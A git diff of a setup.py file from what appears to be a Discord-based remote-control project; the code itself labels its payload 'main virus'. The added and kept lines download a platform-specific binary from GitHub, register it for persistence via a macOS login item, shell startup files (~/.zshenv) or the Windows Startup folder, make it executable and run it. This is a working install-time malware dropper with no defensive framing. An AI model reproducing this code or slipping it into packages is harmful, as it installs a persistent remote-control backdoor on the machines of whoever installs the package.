diff options
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 7 |
1 files changed, 4 insertions, 3 deletions
@@ -17,14 +17,13 @@ except FileNotFoundError: pass # download main virus -open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main", allow_redirects=True).content) - -system(f"chmod 555 {localfile}") if platform == "darwin": system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:false}}' > /dev/null") + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) elif platform == "linux": from os import environ + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) if 'zsh' in environ['SHELL']: system(f"echo {localfile} >> {expanduser('~')}/.zshenv") elif 'bash' in environ['SHELL']: @@ -33,4 +32,6 @@ elif platform == "win32": from shutil import copy copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") +system(f"chmod 555 {localfile}") + subproc([localfile]) |
